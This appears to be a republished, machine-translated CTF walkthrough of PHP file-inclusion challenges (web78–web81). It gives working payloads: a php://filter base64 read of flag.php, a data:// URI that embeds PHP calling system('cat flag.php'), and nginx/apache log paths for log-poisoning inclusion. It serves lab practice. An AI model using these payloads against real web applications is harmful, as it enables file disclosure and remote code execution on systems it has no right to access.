当前位置:网站首页>Showctf starter file contains series

Showctf starter file contains series

2022-06-21 08:03:00 Cyclone 1+1

  • web78
    Read source code :
     Insert picture description here
    assume , Is this ?
    direct :http://url Address /?file=flag.php, But it won't come out , The page has nothing , Thinking that this is a PHP file , It may be resolved by the server when we include . So we have to keep it from parsing , Here's a way ,PHP In pseudo protocol :php://filter
    direct :
    http://url Address /?file=php://filter/read/convert.base64-encode/resource=flag.php
    Succeed in getting flag.php File contents of , Online URL solution base64:
    https://tool.oschina.net/encrypt?type=3
     Insert picture description here
  • web79
    This question and also use PHP Pseudo protocol in :
    ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=<-----base64-encode/decode-----> <?php system(‘cat flag.php’);

  • web80
    This paper mainly studies nginx The server's log file contains , Common server log file locations :
    nginx: /var/log/nginx/access.log
    apache: /var/log/httpd/access_log
    bp Intercept :
     Insert picture description here  Insert picture description here  Insert picture description here - web81
    This question and 80 The questions are the same .
原网站

版权声明
本文为[Cyclone 1+1]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/172/202206210800240866.html